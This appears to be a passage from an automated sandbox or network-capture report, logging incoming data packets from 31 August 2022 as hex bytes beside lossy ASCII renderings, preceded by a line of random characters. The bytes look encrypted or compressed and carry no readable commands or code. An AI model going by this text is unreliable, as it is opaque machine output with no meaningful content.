h7o!?G<j)&r-nsik(%(fdINUng y}=I1Z4&"BHsovZ^/9DWiambOZ2{mZiZZn)RRZZPR/q%i# /I%i;&)D~Qt8]t~hlP~`
2022-08-31 12:30:46 UTC	5058	IN	Data Raw: 4f e0 e1 c1 48 d8 53 c1 ab 0a 26 d5 f5 86 2f cc 6d 8d 2c 13 f6 69 ec 02 ff 55 c8 88 5a 59 a5 9a 09 c8 74 3c 3a 73 75 b8 75 e0 00 47 6a 96 43 bf fe e9 a4 b3 a1 41 96 4e b2 30 f5 42 32 36 4f 25 83 00 cd 2a 8d aa 49 64 47 a3 ba ff 0e cb 6a 2a 87 56 5f 8b b2 14 cc 01 cd cb 66 0b c6 f5 4d cb 93 c0 dc bb 7a 1f 9b 14 f2 55 a5 74 3b e9 b4 10 c9 6f f6 da 42 73 37 0a 4f 7e 76 6b 5c 49 f5 c8 ca 67 2d f9 e9 80 3a d6 80 af c1 f9 b4 90 57 7c 4d 96 9b 22 09 a3 49 97 62 73 8e 9f f9 0a 34 32 52 e3 6b dd 55 d6 85 ed 42 96 39 ee a6 68 47 93 4c 82 52 92 3e aa 06 6e eb 8c 82 1d 91 01 12 82 92 64 cc a9 3f 01 57 ea 24 e5 aa e8 47 63 80 df d4 69 69 08 dd 44 f4 44 27 af 4f 43 2f 2d e0 3e 0e 51 25 c3 63 a9 cd 2b 01 49 12 9a 4d 84 b3 2a f4 2b ea 37 f6 68 59 05 83 be de f8 0d 69 80 Data Ascii: OHS&/m,iUZYt<:suuGjCAN0B26O%IdGjV_fMzUt;oBs7O~vk\Ig-:W\|M"Ibs42RkUB9hGLR>nd?W$GciiDD'OC/->Q%c+IM*+7hYi
2022-08-31 12:30:46 UTC	5059	IN	Data Raw: f6 67 6e 67 59 95 40 44 93 96 59 40 be 6b 56 57 ed 21 54 6c 9e 24 17 81 b2 20 55 1f ed 21 38 f2 2b e4 5d 48 62 b4 c1 ab 62 c2 54 08 b5 3b aa 76 cd 88 f3 f4 a2 3c d8 c6 22 68 0f 65 c2 cd 00 27 b7 da ca 04 5d b2 3a f3 6f 2f fa 7f a9 b0 14 cc 01 cd cb c6 a8 c5 f5 4d cb 13 3f a3 3b f8 1d 9b 14 f2 55 a3 72 bb 6d b0 10 c9 6f f6 fa 6c 7d 07 3a 4f 7e b6 eb 3c 69 39 04 ba e2 25 6a 35 87 2f 5a 5f cd 48 89 f0 d6 24 e5 40 15 a6 fd 4e 11 3d 8b c0 e2 48 19 57 5c 32 21 80 0d 80 65 8c 74 b5 99 9e 84 f8 f1 48 31 b9 50 1d 82 cf 2a aa a6 48 41 60 86 ee 5e b5 60 e5 02 ff 95 4f f5 e8 dd aa 6b 24 82 0c cd 4b ac e2 e1 24 86 17 60 a6 b0 7b 39 c3 0c 37 9c 4a e0 25 28 64 0e c0 2b 47 3f 79 8b bc 42 d3 d3 97 23 e8 68 e2 ac da 95 d9 1f bd 49 54 f5 a6 37 a9 31 19 ac 89 3a f5 68 f1 c3 Data Ascii: gngY@DY@kVW!Tl$ U!8+]HbbT;v<"he']:o/M?;Urmol}:O~<i9%j5/Z_H$@N=HW\2!etH1P*HA`^`Ok$K$`{97J%(d+G?yB#hIT71:h
2022-08-31 12:30:46 UTC	5060	IN	Data Raw: fb 2e 4b c6 a7 d4 06 34 4a 81 5f 99 ae e0 0c 0f ee 37 be 72 96 00 44 99 ff 59 fd 97 75 12 df 6e a6 ea 1c 24 f6 a5 30 36 85 e5 7d ec 54 00 bf e6 93 35 a0 d9 04 8b 81 0f 23 25 6a 4e ac 45 f5 81 fa 09 6f 25 4b 2c ec e7 30 6a 9e ee cb 45 60 ae 15 8d f0 42 8f 82 7b 4a b1 e4 34 77 a5 e1 5c 55 e9 83 5b 4e 07 dc 82 d9 2f fe 4a 5b ab dd cf c9 b7 2c 71 d9 96 29 d6 5a e9 80 03 7a df 32 97 f4 3c 5f 97 be 43 5a ff 97 02 7a 58 d0 82 1a d7 6a d7 60 9d 5a b9 44 95 c8 52 4f d7 7a c7 1a 48 f5 d7 b3 4e 5a 93 0b 42 da e2 1f 97 e2 9f da 82 7f 97 13 8b 8f 17 ff 02 5a c9 34 97 2a 17 9a 24 bc 02 99 07 79 17 a8 55 5a a7 da 17 74 ec 0f 97 8e f3 da 1e a3 d7 86 7a 5a a7 3b f5 6b a0 71 b3 61 a2 89 41 6c e0 b9 35 6d bf 6a b0 6b 9d 58 ac 60 ac 6d a6 69 a6 75 a8 64 a0 6e 46 99 f7 3a b4 Data Ascii: .K4J_7rDYun$06}T5#%jNEo%K,0jE`B{J4w\U[N/J[,q)Zz2<_CZzXj`ZDROzHNZBZ4*$yUZtzZ;kqaAl5mjkX`miudnF:
2022-08-31 12:30:46 UTC	5062	IN	Data Raw: 63 6b c3 1b fd 25 df 56 27 eb 59 6b 1c 5b eb 35 cb 25 2f 5f 92 a6 94 4d eb 73 2e a1 78 77 88 ff 9d 6f df 07 6d f1 6f a3 00 cc e6 6f db 03 c5 5c 7b 3e 25 62 32 aa c6 2d ef 5f 9d 4d e3 7b 29 29 bf ef 29 94 60 c5 9d 4d 6f 77 3c 31 62 a7 63 26 eb 2d 11 d2 19 25 24 f7 40 e5 3b a2 c3 4d e7 3c 65 87 03 22 a1 c4 42 fd 60 dd 02 a5 6f 02 cb a5 6c b5 2a a6 56 cc 94 2d 4f 1b 79 4d f7 2d 6c 1a 13 db d6 27 e5 ed d6 05 ba 69 df 57 4a 0d e7 20 f9 24 fb a0 93 2d 38 80 7e ab 7d fe 6b b6 35 ff b8 6b 06 54 aa f9 bf 61 db 68 94 82 3a 7f a1 0d 6b 2c 04 83 c1 0d a9 2f 61 e1 f3 cb 94 34 dc eb 08 65 4f 40 27 eb ab 39 1a 0d 1e 81 2a f8 a5 d7 df 8e c7 34 bc b2 93 d9 d4 f9 73 88 e7 7e 6f 73 3b 33 b9 e5 fb 37 69 34 17 1e b7 14 40 24 c3 cc ac 63 d9 16 6b b1 f5 6d 2d c9 00 2e be fa 96 Data Ascii: ck%V'Yk[5%/_Ms.xwomoo\{>%b2-_M{)))`Mow<1bc&-%$@;M<e"B`olV-OyM-l'iWJ $-8~}k5kTah:k,/a4eO@'94s~os;37i4@$ckm-.
2022-08-31 12:30:46 UTC	5063	IN	Data Raw: dc 6d 2d 28 c2 3c c9 44 d4 22 29 a8 dc 15 70 83 8f 7c f0 0a 26 cc 02 eb d5 26 aa 0b 46 8e f7 af 59 65 97 98 6e 7d 06 47 42 c3 8c e8 3a b3 c6 59 b4 45 4a 34 9b 94 b9 ad 25 cf 4b 16 d7 2a 6e a6 06 49 25 c7 4e 6a 4e c2 36 43 a0 6a 30 ee 3b 0f da 12 af 7f aa 6a 27 dd d5 f3 29 b8 a2 2f ea aa 0a e0 c9 ee 62 bd 64 0b c0 28 a6 0e cc d2 dc 42 0b 73 e2 00 d1 94 1a 35 cd 06 b1 72 b7 75 d1 1a a7 65 d9 1b a2 dd 15 80 4e 88 75 83 f7 a4 3e 92 84 5d 96 55 fe 11 31 23 75 2c c0 4e 42 92 4a 76 0e 33 f9 d4 1c b9 6a a3 e3 df d7 5d cb 55 f5 d2 19 9e 62 1c dd 08 cd 5a c1 d4 38 35 6d ab 20 ad 49 61 77 2a 21 f1 c8 94 fa e9 78 f7 80 47 c3 94 31 fa 05 b9 5a 30 e2 6a 29 71 f0 be 92 f3 f6 62 43 7e 77 a0 a5 8a b3 69 f4 b6 ef c3 33 0f 90 bf 6e 81 0c d0 00 7f 67 b0 ae 6d bf f0 f2 29 5d Data Ascii: m-(<D")p\|&&FYen}GB:YEJ4%KnI%NjN6Cj0;j')/bd(Bs5rueNu>]U1#u,NBJv3j]UbZ85m Iaw!xG1Z0j)qbC~wi3ngm)]
2022-08-31 12:30:46 UTC	5064	IN	Data Raw: a6 f2 b4 c0 07 ca 9e be 6b a7 6a 06 c3 ef 2f b2 49 51 af 2e a6 1e c5 7f 20 30 6b f0 3b 7d 99 db e3 a7 1b a5 94 58 6a d3 91 df e9 74 3e 23 6b ab 1b 53 46 63 0f d5 95 87 48 30 fe b2 f5 e3 52 81 30 ea ac 84 82 4f 8e 6b a9 ec 2d 63 6e 28 f3 3e 26 63 a3 e6 e3 30 fe c4 89 e4 d0 7b a4 1a bd a4 b8 b7 69 62 6e 73 9e 84 a8 ee 2b 9a 4c 55 87 e4 e7 14 8f 46 1a 88 89 64 29 0e d5 3b 56 99 e4 2a 6a ee 20 55 9b 66 6d 6d 65 56 13 e2 2f 2e ae 61 48 47 8b 4b 2e 57 19 ee 2b 86 10 f8 6d 29 e3 a3 74 38 eb 60 76 0c 3a a3 4d 5d 18 2c ac a0 64 67 e4 e5 47 87 e4 5a 16 65 97 7a 8e 61 12 fd 0b 2f a0 80 8a 63 e4 22 63 e3 f6 7e ab ad ab ae b6 f3 2a 4f 4f 62 a8 ce 02 bf b1 e5 2a c9 ca c8 76 2e 9c 29 eb aa 75 bb ef f3 a9 3c 2b 4e 8b 65 74 76 ae 64 a2 26 2a 4c 86 e6 aa e3 e4 3c 6c b6 65 Data Ascii: kj/IQ. 0k;}Xjt>#kSFcH0R0Ok-cn(>&c0{ibns+LUFd);Vj UfmmeV/.aHGK.W+m)t8`v:M],dgGZeza/c"c~OObv.)u<+Netvd&L<le
2022-08-31 12:30:46 UTC	5066	IN	Data Raw: da b6 a3 6e 61 aa a2 9b 5e a7 60 5c 93 c9 31 7e d2 b0 b9 cc 60 a2 20 d3 28 7c 1b 74 9b b9 b6 69 6f 71 96 24 1f 4b 80 ba 83 88 96 4b 50 af 70 91 ae 6a 69 45 b7 ab 65 51 5d 9b 11 de 63 22 a9 78 e5 b9 21 07 4d 24 e0 61 62 ad a6 3d fc a7 ae a9 af 2e e4 6e a4 a8 ed ac 16 1f 69 29 a3 59 59 f8 a6 6f 14 a6 14 7d 26 6b 2c 04 1f f4 a8 47 bf 93 24 0d bb 11 c8 f2 72 c3 ae 8a bf 57 ea a7 c7 3e 84 b2 2c 37 f2 34 a6 6f 7e 30 b1 bd f3 0a 97 7e a7 6a 2a ab cf 54 a9 ce 17 72 0e db d7 1a bb 77 85 4d e6 48 b0 1a 87 c3 85 0c 85 c4 96 1a 83 b0 85 0c 85 82 d7 42 8f 1c 85 0c 85 92 45 96 ae d7 1a 95 d9 99 7e 1a ef 76 d4 79 b3 86 f5 20 57 e7 5e 3a ef 8d 24 b1 cb c5 b7 6e 29 ee 23 21 66 aa 8e 87 23 2b 56 7e 8c 65 27 13 67 25 d2 e9 e6 ac a0 6e 93 d2 25 5c a2 25 d3 68 a3 69 28 a0 e4 Data Ascii: na^`\1~` (\|tioq$KKPpjiEeQ]c"x!M$ab=.ni)YYo}&k,G$rW>,74o~0~j*TrwMHBE~vy W^:$n)#!f#+V~e'g%n%\%hi(
2022-08-31 12:30:46 UTC	5067	IN	Data Raw: 10 c8 9f 8c 71 af 5c 78 da 2c 5c 8b e4 58 b9 54 23 6b cb 63 76 bb 7c 61 9e 8e 8f 4c a5 69 4d 56 b1 87 a7 46 c2 59 3f 63 0b d4 75 58 cc 14 ea e2 88 5b b1 e4 2f 4b 89 1d da 2a 64 01 9d 25 ee f3 f4 ce 56 59 cf ce e9 7c 5b b8 9d e3 87 c5 a0 76 b6 26 84 87 51 21 2d 65 10 58 1e 3b 84 e7 2a d3 06 f9 17 6b eb 33 d7 f8 31 a2 bf 61 db 68 94 82 82 47 04 28 6b 2c 04 1f f5 65 62 af e9 e2 44 a6 33 16 6b a7 6a 26 10 8b 87 9d 6a af 6d 2b 2a 64 46 4c e8 0e d6 f7 00 c4 09 40 9e 27 f5 06 ad e2 df 56 e0 1f af 97 e9 e2 98 94 cd 51 c9 5d 2e 2e 6e 96 d1 29 7e 8d 14 ee 8b 41 15 d3 d3 18 6c 1e d5 af e1 4f 2d 8c 02 ce ab b9 b2 61 d5 df ad 9f 94 a9 6d 2d 82 ca 4a 0c 64 f2 44 59 95 a7 16 dc 91 d0 81 bb e9 5f 90 aa e0 94 dc a7 6a a7 59 4f 76 25 db d8 a4 ea 60 2c e3 cf fa 1a 8f 8a 9e Data Ascii: q\x,\XT#kcv\|aLiMVFY?cuX[/Kd%VY\|[v&Q!-eX;k31ahG(k,ebD3kj&jm+*dFL@'VQ]..n)~AlO-am-JdDY_jYOv%`,
2022-08-31 12:30:46 UTC	5068	IN	Data Raw: e0 e3 71 35 c3 06 ed c3 88 ba d5 0a 2c 93 e3 7f 94 38 a5 00 cf 3f b5 92 88 e1 9c 09 87 79 c7 6a 7c e6 20 ef 60 b8 dd 00 be 96 52 bd 67 8c 4d e5 3c fc 59 19 ae 25 c0 11 9b 1b 50 07 3a 29 7b 98 08 b8 a3 0e 03 23 71 34 8c 44 63 d2 bf 86 2b 3a 8f 9b 7b cb d6 3d 7a 61 27 25 6c 62 24 91 ab 9f 5b 5f 17 1f d4 93 2c 53 bb ca e2 2a 99 4c 5b bd 93 ae e9 a6 0e d6 7c a5 d9 74 82 6a 5e 92 a6 4b 86 6a a7 97 d0 20 a7 43 5f 29 e4 f1 70 0c 85 d2 15 71 a1 d2 10 ab 4d 05 d9 40 5c e0 f5 5b 53 5c 7c 4e 13 a4 1e 1d 28 66 1f d9 63 4e 2f 8b 3d 40 8c 7b d2 05 39 3c 01 0c 3f b0 f7 6b 9c 01 f7 1e dc e7 e4 a8 a7 a8 25 ac f1 cd 36 bd 54 ea 0c 84 b9 b1 e4 21 2f 6c 95 1c b6 d9 0a 21 da a2 26 d9 3d 12 65 a1 0e fd 36 19 29 73 41 66 79 7f 13 91 1f d9 d3 91 8c d9 74 aa df f2 7c 15 d9 44 c0 Data Ascii: q5,8?yj\| `RgM<Y%P:){#q4Dc+:{=za'%lb$[_,S*L[\|tj^Kj C_)pqM@\[S\\|N(fcN/=@{9<?k%6T!/l!&=e6)sAfyt\|D
2022-08-31 12:30:46 UTC	5069	IN	Data Raw: bc fe bc 19 d2 62 60 2a 18 0b db c8 21 b8 9b 72 d6 39 a0 c2 cd 1c 40 ae 13 00 ee d5 a6 07 b1 fa 55 a7 97 e3 82 0c 60 6b a6 58 1e 02 1f f2 6c 0a cf 42 8f fb 76 d5 4d 53 ca cb 49 ef d4 1b 9b 3b 13 3e 28 63 a0 5e 12 57 ae 55 2e e7 1c d2 cf 87 62 2e 22 6e fb bf 50 a1 14 c1 c6 d7 d6 72 c2 ca f5 e1 ab ad 5d 63 14 69 2f 66 9e a7 d6 2b f6 7e 2a 66 e2 28 25 62 26 66 20 ac e1 e8 5f 19 65 2f fa b2 6a ab ea 62 67 e3 a3 2b 3b 3a 4f e4 de 05 87 4a c4 f4 af ee a2 be 46 1b 86 4a f0 f1 2e 2b c0 68 a1 2c 8d a5 80 28 07 28 5a 80 a6 cf 1e ef 9b db 27 d1 5d d8 d8 0c 8f 79 86 02 7d a8 96 5a 5e 9d b8 ff e3 b8 40 9d 94 55 b9 7f 9d 44 b6 3a f1 62 b9 7b e3 10 89 f9 e2 8c 78 80 95 6c 83 7f b2 bf 6f 72 f7 4e d1 e5 2e 1e e9 04 1f b6 10 cd a7 4f d5 1b 2e af 7c 1d 4b b6 78 c7 8f fa 36 Data Ascii: b`!r9@U`kXlBvMSI;>(c^WU.b."nPr]ci/f+~f(%b&f _e/jbg+;:OJFJ.+h,((Z']y}Z^@UD:b{xlorN.O.\|Kx6
2022-08-31 12:30:46 UTC	5071	IN	Data Raw: 17 f8 d4 5c 7a bf ed 64 6b 31 0c 48 9b d7 81 dd 68 f4 1d d0 17 d6 ed f5 3a 73 cb de ef 58 e1 fb c9 59 17 e0 e4 66 85 4c ed e2 a4 e8 4b 51 fa 58 e3 d5 e5 7a c0 a4 a3 91 e1 62 dc b7 a2 78 6a a7 95 24 2d 6b ef 5c 0c 34 06 60 43 d3 fa c4 99 91 ad 56 0f 41 d5 5e af 19 a1 3d 85 7e fa 0a 8e 64 8b 32 72 7d fa 92 ba b7 54 e5 35 4d ca 20 19 94 49 2c 29 c0 ea 5a d3 59 b7 07 88 7e 55 ab 34 90 31 65 17 eb d7 8f 26 e0 6b 99 82 a7 c7 e0 02 f3 38 f5 54 2f 8a e7 7b 09 80 9a c3 67 76 02 11 db 6a 2c 28 13 d0 9f 2f 1e c0 a1 69 0b e0 2a f3 66 f5 cf c2 4d 43 3b c9 c4 8e 28 71 8e 0e 06 2e 3e 7d 9e 21 13 59 c4 c8 a4 0d 9a 6e 73 27 a3 9b 71 8f a8 a1 62 0d ce 64 a7 8f 76 e1 95 0f 4a 2e f7 12 c7 60 a5 6a 07 c0 45 06 5f 6c fe 00 36 e1 9c 06 c3 00 81 81 63 49 96 9b 35 30 0f 9b 5d 19 Data Ascii: \zdk1Hh:sXYfLKQXzbxj$-k\4`CVA^=~d2r}T5M I,)ZY~U41e&k8T/{gvj,(/i*fMC;(q.>}!Yns'qbdvJ.`jE_l6cI50]
2022-08-31 12:30:46 UTC	5072	IN	Data Raw: 85 6c f4 0d 97 70 b8 4e 84 ab 8b e2 e5 aa 43 3c b3 69 b0 6f d2 8b 76 f2 67 f7 3e c7 40 13 ef f5 1a c8 58 84 2a 92 8b 82 57 e0 ee 99 a5 f8 ce 64 be 55 46 a5 19 07 37 d6 4e e2 0e 22 d7 5f b2 49 51 bf 1c 31 6d 89 f3 c7 d2 97 58 84 a6 b3 dc 5b f5 13 a7 6a 2a a2 4a 92 7a 62 a0 70 2f 0a bf 6a 2f 8e b3 1a dd 70 93 1a e7 7e 34 2d 6f eb 2e eb b2 ba e6 58 62 cc 9f 1b 2e fb a4 68 f1 0f 96 38 9f f2 1b 16 17 15 4d fb f3 3c 01 d7 bf 0c 01 7f dd 10 f7 6a 2a 62 b6 3e 65 af d7 8f f5 0b af 23 82 cf 27 76 1b 64 9c 8e f2 cd 34 fb 06 69 2f dc e6 72 c0 cd 63 09 84 2c 51 bc 62 54 4b 38 b4 0f 92 49 ae 00 2a 62 ae e6 a3 e7 fa 23 b2 b2 f7 3a 27 1c 07 5c 90 3c ee 69 2d fa 37 ff 64 5f 54 0b c4 69 f7 c5 5d 4b 86 03 09 ac d6 39 eb 04 2e ed 28 8c c7 6d 23 e9 80 af 42 7e 73 51 ed 1e 62 Data Ascii: lpNC<iovg>@XWdUF7N"_IQ1mX[jJzbp/j/p~4-o.Xb.h8M<jb>e#'vd4i/rc,QbTK8Ib#:'\<i-7d_Ti]K9.(m#B~sQb
2022-08-31 12:30:46 UTC	5073	IN	Data Raw: 63 a6 cb 07 60 2f 2d 6f 4d 8c ac 31 b7 2e 5d c4 69 1c c6 ec 87 44 4a 8a 4f bb de 3a f5 24 94 49 0f f0 19 7d ae ec 6e 2a a2 0a e8 f2 3f dc 2b d7 a2 bf b7 75 6a 59 49 c8 db 7b 79 59 4f ce 87 c8 f3 b6 66 26 78 f3 10 5c a2 c4 3f 11 64 38 73 66 a8 28 a2 05 e7 cc 3b 31 8c c2 c8 e3 21 f1 94 eb 8e 06 fb 88 62 a7 55 e3 2d c3 87 69 e3 2e 49 02 a4 ab 99 15 07 2b 08 a5 6a ae eb 1b d5 31 33 49 39 d5 d2 1d e3 1a 77 fa 68 a7 ae 6f 96 ec aa e8 a3 cb 0c 24 36 33 81 0f 6a 24 29 4f 4d b7 75 2c e9 2f d1 96 15 c3 f8 e4 ae 22 73 3e 29 4f c0 9d 52 d1 14 26 d7 93 e3 2e 66 42 44 e9 9f d1 e9 2e 6f a0 1e 98 a2 5c 16 a3 ad 4c 01 c8 42 8f c2 26 4f 83 79 b4 1f d2 7d 3b ae c4 c3 eb d7 e3 5a cf b2 fe 87 b3 92 5e 98 c5 a9 9b 36 7a 45 fc a6 c0 0a eb 66 be 19 32 c5 08 80 a2 39 e4 6e b3 85 Data Ascii: c`/-oM1.]iDJO:$I}n*?+ujYI{yYOf&x\?d8sf(;1!bU-i.I+j13I9who$63j$)OMu,/"s>)OR&.fBD.o\LB&Oy};Z^6zEf29n
2022-08-31 12:30:46 UTC	5075	IN	Data Raw: 24 b9 f3 3d d4 1a 60 eb b9 33 77 bb c1 85 68 70 f4 74 f0 ac 79 64 91 03 7e fa 8f d4 77 6a d1 95 68 54 56 a5 9d 9f 2a e8 a1 0a 46 3b 9d 04 64 2b a7 64 af ea 87 43 ae e3 a8 60 bb fa 2f 6b a8 7c 67 3a 58 80 5a 02 77 26 32 65 30 c1 ec 9c 21 83 4c 05 47 6e 22 69 bd 3e 66 83 85 a9 ae 4a 87 3b 7b 69 51 42 f0 aa e6 fa c5 af 11 3c f7 0f f3 4b 3b 69 9d cd f5 25 8b 49 61 ec b7 3e a2 ad 21 4a 84 22 c7 00 60 2c d5 27 89 e8 4c 53 d3 21 a7 52 e6 94 ae 11 3d f9 6c 65 e6 90 4f fe cd 08 4f 82 1b de cf ea f7 b0 57 95 0d bd b5 d8 06 3b b8 f7 61 7e be 83 46 ab 6c 31 f7 e1 8f 97 91 02 a2 2f e7 ea cf b5 12 17 22 ef cb f9 8a d7 Data Ascii: $=`3whptyd~wjhTV*F;d+dC`/k\|g:XZw&2e0!LGn"i>fJ;{iQB<K;i%Ia>!J"`,'LS!R=leOOW;a~Fl1/"
2022-08-31 12:30:46 UTC	5075	IN	Data Raw: 37 cf 2a 30 d5 fb 8c 29 1e a9 5b 41 f0 ae 67 4c 9a 02 d3 6f 4a 68 61 47 a6 e7 a5 ec 4f 8c 48 fd 78 c6 c1 08 50 22 02 f8 27 6f 4a fb ce 7d 2b 66 98 c3 a6 76 28 2d 6b 12 a4 28 c6 d2 af bc 65 9f a6 ad 42 49 c7 03 2f 91 50 21 e7 fc b8 a5 66 ad e7 15 cf f8 28 74 34 52 7f 89 35 fb 24 56 64 a7 19 69 df 15 4c 8f 22 ea 4f 72 5d 60 82 df 31 f8 43 18 4d 47 f2 fc 2a 66 52 88 97 ca 2c fc 3b 77 cb 9f a2 0d 13 d8 a6 0a d1 97 ab 61 4b 0b a1 6c c9 01 2e 68 5a 0e 43 9f a0 6a 2c cb 0a de 8c 06 02 d2 3a de fe f8 63 07 fd 82 4b 3c 06 66 21 77 90 80 e6 2b 9e 90 f5 6b 1e aa ff 1c 69 65 27 55 1d a0 e8 51 b9 08 55 99 9f c2 36 e1 6b 0d a3 af 45 d8 10 72 7e 3b 36 5c e5 29 e8 d6 87 9b 4b 14 a2 fc 8e a4 c5 fc 4d 10 37 4d 94 8d 7b ad fa 9c e4 fc 40 6c a4 10 c1 8e fb b4 ff 24 57 c9 8d Data Ascii: 70)[AgLoJhaGOHxP"'oJ}+fv(-k(eBI/P!f(t4R5$VdiL"Or]`1CMGfR,;waKl.hZCj,:cK<f!w+kie'UQU6kEr~;6\)KM7M{@l$W
2022-08-31 12:30:46 UTC	5076	IN	Data Raw: 1d 3f 56 7f 60 d1 da e9 23 9d 61 91 57 92 36 bd 26 98 81 bc a0 9d 64 c3 25 f9 e1 61 db 68 94 82 4d 32 71 65 cb 81 6e 2c a4 ea 62 bf 7a 2e 0a 6f b6 df a2 16 f4 c8 8f 6e f3 e3 d2 03 92 57 92 ff 2f 1a d2 f4 23 bd cb 2e dc 3f 6a a6 57 cb b7 19 4f 3b a4 e1 7e 57 bd fa 00 cf 02 58 6a a7 ea b2 00 60 aa 01 cb 84 49 60 ea e4 ad 64 2e 21 a8 2b 61 a4 2f 66 0a c7 ad e7 29 45 4d 70 b8 82 40 ce 0a ad 44 80 67 8f 4f 46 82 cb 89 30 1e c2 94 8e dc 86 0b e7 60 dd 7a 2e 64 34 1e c5 97 8e 35 ea 29 38 92 47 e7 9d c1 1b ca 87 4f 9c 52 e0 21 4d 8a 07 45 e9 a2 6d 9e 78 c2 65 18 f6 ea 82 e5 e2 ce c5 c6 8d 6c e8 eb f1 5b 83 a8 26 38 71 a8 26 2b 61 ec 18 bd 96 b0 a4 4a ca d7 dc 2e 80 c2 67 e3 8f d7 7f 57 5c f4 fa 0a ff 9e 65 39 53 c6 63 ee 28 e3 a2 ed 18 52 f0 c5 4d 8b 13 2a a3 7e Data Ascii: ?V`#aW6&d%ahM2qen,bz.onW/#.?jWO;~WXj`I`d.!+a/f)EMp@DgOF0`z.d45)8GOR!MEmxel[&8q&+aJ.gW\e9Sc(RM*~
2022-08-31 12:30:46 UTC	5078	IN	Data Raw: dd 9a 2c 24 6c ea 06 39 dc e9 7f 3d 2a b6 d2 5a 3c 27 4a 83 d7 fc 8c e6 26 63 dd 1a ad 4a 5d 7a 9c 92 f7 80 be d3 94 83 75 5c 8b b3 55 dc 31 bb 70 e0 2e 54 14 a6 f2 51 8c 9b 97 55 5b e3 ea 7d 9e 80 1f e2 97 b8 74 af 52 90 55 51 71 b3 eb e1 e4 a4 f2 41 8c b2 60 26 25 9b 95 e1 6b cb f3 8a 1f 76 ad 44 fc 11 4f 92 97 fb a3 3b bb 8a eb d7 33 eb 2d fc 15 99 76 15 2d 0b 38 36 98 1e 5b 0d b4 b9 25 5f 84 39 96 e9 9c 86 d6 7f 07 ca f0 b7 79 33 20 ea 44 88 5d 29 15 69 d5 0d 3b a4 0a 81 06 0f b0 a2 3c 2d 6f 52 91 38 e7 76 72 43 5a 8f 84 e1 e5 f0 22 7c 8c 7a 35 d4 ff 2d 5c d2 b2 30 23 a2 62 f1 e8 3f b0 5c d1 30 8c 56 f9 21 22 e3 1d 54 ae a0 e0 e7 1d b0 f5 11 62 6f 58 e0 36 71 2d ff af b3 35 c9 a5 d9 47 d3 ef 1f 02 7b 04 fa f1 6f f6 30 a1 37 cd 96 eb a4 f6 7e 2c e1 2e Data Ascii: ,$l9=*Z<'J&cJ]zu\U1p.TQU[}tRUQqA`&%kvDO;3-v-86[%_9y3 D])i;<-oR8vrCZ"\|z5-\0#b?\0V!"TboX6q-5G{o07~,.
2022-08-31 12:30:46 UTC	5079	IN	Data Raw: 17 86 11 1c 0e 28 6a fa b5 ba 34 6d 4a 8f a6 a7 64 5e 75 43 91 17 a4 a2 26 e9 60 66 ae 02 c2 df 07 f2 8a ce a6 3e 9d 4e 6f 25 7d 11 cf db d4 dc 50 5f b4 80 93 65 91 25 ef 65 96 65 1b 7b df 11 b1 0a 07 36 5e 0a d1 58 50 40 3f 3e 3f 16 76 75 d0 25 e3 79 e3 7b e1 e6 2b 59 ff 6c 8f e0 e3 e2 df d4 10 5a 1d da dd 15 e5 69 a0 18 aa d8 e5 ae ef e2 a8 ab e9 61 c3 03 61 67 23 4e 87 10 9b 3f 7d 2a 52 5d 3c 31 94 d9 6c 28 63 5a fb ce 26 61 e0 8a c2 a3 6e 2a e3 9d 6f 5e a7 2f 70 1b cb 25 3b a3 d5 5b 3e c8 ce f4 93 c7 5d 0a be 2c 66 ef ae f4 6b 61 a9 1c 88 7c 3b 5c 6c d6 e6 54 3d 00 2e f1 a8 1e 50 b7 ad f5 cb 12 aa 62 63 12 6d 2d f3 0b 7e 0f d6 18 e0 22 72 bd 63 58 3b e6 1b c0 3d 1a 87 f7 85 11 6e fa fb 33 6f d8 0b 28 fa 03 59 30 7b 21 aa f7 d1 31 28 98 6b 25 7b f6 05 Data Ascii: (j4mJd^uC&`f>No%}P_e%ee{6^XP@?>?vu%y{+YlZiaag#N?}R]<1l(cZ&ano^/p%;[>],fka\|;\lT=.Pbcm-~"rcX;=n3o(Y0{!1(k%{
2022-08-31 12:30:46 UTC	5080	IN	Data Raw: 86 9a 53 f8 36 ab ef 07 40 5c 95 8a 40 fd 36 82 c1 46 d7 97 ca 95 1b 6a f1 d5 6f 83 6c 58 1a 23 e6 0b 93 b9 a7 97 d0 81 c4 7e 9d 59 44 20 73 0d d1 40 2e f7 e6 e0 4c c5 b6 b3 9d 82 bb 28 fe 76 65 c9 59 3f fe 39 a7 e7 f8 b8 f7 b7 af 1b 72 0b e6 3b a4 c6 ed 4e 32 91 4d 4d 15 3a 5f c9 19 be 19 85 09 f1 0f 66 06 e9 c2 03 b7 f1 32 73 af e7 16 d3 fa 12 05 6f ab 84 44 4f 80 2d b4 e9 51 4b 97 08 d9 12 f4 69 2a f5 bb 80 76 3b 3c 20 23 5f 5c 80 03 ee 26 de 71 55 bd 9a 29 b7 1d ac 49 41 62 a5 52 48 b9 41 f4 2d 3f e3 94 0d 1f f9 7d cc a0 42 1d f7 8b 4d f5 6c a0 d5 48 83 81 72 5a b5 57 08 ef f7 a3 ce 82 74 bb 5a 52 f5 e1 67 80 3f c3 67 b7 46 72 aa 93 0f 93 0f ca 9f 19 c8 23 7b 32 08 43 9a 52 b0 79 fc c5 50 ab 24 0d 4e 61 37 be e6 a9 51 dc 92 fb bd c6 6b c9 f2 f3 ab 1a Data Ascii: S6@\@6FjolX#~YD s@.L(veY?9r;N2MM:_f2soDO-QKi*v;< #_\&qU)IAbRHA-?}BMlHrZWtZRg?gFr#{2CRyP$Na7Qk
2022-08-31 12:30:46 UTC	5082	IN	Data Raw: d5 8b 46 a7 b9 93 66 4e 5b 6b ff c5 66 cb 02 e7 96 96 db 26 fe 8b ef 4f 55 31 f9 d5 0b e2 7e 3c e1 57 17 65 da 09 fd 67 1a d5 e5 a7 e0 a8 9b 29 7b 4a a9 e9 6b f7 d3 0f eb 67 6b 2c e1 ec 25 20 2d 6b 08 f2 02 f0 3c 19 b3 6b 69 a6 fd cf ee a3 ea 67 32 69 c3 4d 63 7b a7 e5 e5 e4 28 a2 e9 63 2a a3 41 43 60 62 26 26 d7 12 7b c2 5e 72 02 2e 20 64 b5 f1 38 7c e3 f1 cb bc 0f 2e 0c f3 d1 4d c7 1f d3 95 bf a1 22 32 34 08 52 e8 d1 94 a1 87 0a 2c a1 f3 f7 6b d3 1b 7a b7 a3 6b d7 b7 35 2b 11 f8 85 57 e9 e0 aa 26 19 25 34 72 91 d6 e3 db ce 45 aa d6 4e a5 13 67 2b ce aa a1 23 6b cc 7d e0 d2 92 09 d4 d7 0e a5 6b 0e c0 b3 c3 26 a1 